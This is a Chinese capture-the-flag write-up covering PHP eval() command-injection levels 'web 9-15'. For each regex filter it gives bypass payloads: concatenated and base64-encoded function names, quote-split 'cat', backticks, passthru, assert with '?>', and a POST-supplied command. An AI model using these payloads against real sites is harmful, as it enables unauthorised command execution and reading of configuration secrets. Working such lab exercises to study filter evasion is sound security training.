Part Ⅱ web 9-15
这一部分的题,主要是绕过过滤条件,进行命令执行
0x01 web 9
过滤条件:
if(preg_match("/system|exec|highlight/i",$c)){
eval($c);
}
payload:
c=highlight_file(‘config.php‘);
0x02 web 10
过滤条件:
if(!preg_match("/system|exec|highlight/i",$c)){
eval($c);
}
过滤可用函数,可以使用构造法进行绕过:
c=$a=‘sys‘;$b=‘tem‘;$d=$a.$b;$d(‘cat config.php‘);
c=$a=‘highligh‘;$b=‘t_file‘;$d=$a.$b;$d(‘config.php‘);
0x03 web 11
过滤条件:
if(!preg_match("/system|exec|highlight|cat/i",$c)){
eval($c);
}
过滤掉上一题使用的cat,linux查看文件内容的函数有很多:less、more、tac。
或者使用单引号、双引号或者反斜杠绕过cat
。
ca‘t config.php
ca"t config.php
ca\t config.php
0x04 web 12
过滤条件:
if(!preg_match("/system|exec|highlight|cat|\.|php|config/i",$c)){
eval($c);
}
过滤了文件名与后缀,也防止了使用构造法绕过过滤条件。
可以使用其他命令
passthru()
shell_exec()
popen()
proc_open()
pcntl_exec()
在linux中反引号的作用就是将反引号内的Linux命令先执行,然后将执行结果赋予变量。
比如 cat
ls
相当于将 ls出来的结果cat。
大佬的payload:
c=passthru("ca‘‘t `ls`");
c=$a = base64_decode(‘c3lzdGVt‘);$b=base64_decode(‘Y2F0IGNvbmZpZy5waHA=‘);$a($b);
0x05 web 13
过滤条件:
if(!preg_match("/system|exec|highlight|cat|\.|\;|file|php|config/i",$c)){
eval($c);
}
直接给出大佬的wp:
这次的过滤中增加了分号这样我们就只能执行一条语句了,在eval()中的是php语句,分号禁了,我们只能用 ?>来闭合语句了,这里再提下assert()
assert() 会检查指定的 assertion 并在结果为 FALSE 时采取适当的响应。如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行。
assert中 的字符串可以没有分号.
所以给出两个payload
c=passthru("ca‘‘t `ls`")?>
c=assert(base64_decode(%27c3lzdGVtKCdjYXQgY29uZmlnLnBocCcp=))?>
0x06 web 14
过滤条件:
if(!preg_match("/system|exec|highlight|cat|\(|\.|\;|file|php|config/i",$c)){
eval($c);
}
不允许使用括号。
大佬的wp:
c=echo `$_POST[cmd]`?>
使用post提交:
cmd=cat config.php
0x07 web 15
if(!preg_match("/system|\\*|\?|\<|\>|\=|exec|highlight|cat|\(|\.|file|php|config/i",$c)){
eval($c);
}
新增过滤了尖括号,放开了分号。
payload:
c=echo `$_POST[cmd]`;
使用post提交:
cmd=cat config.php
原文地址:https://www.cnblogs.com/chalan630/p/12688724.html
时间: 2024-10-10 05:45:35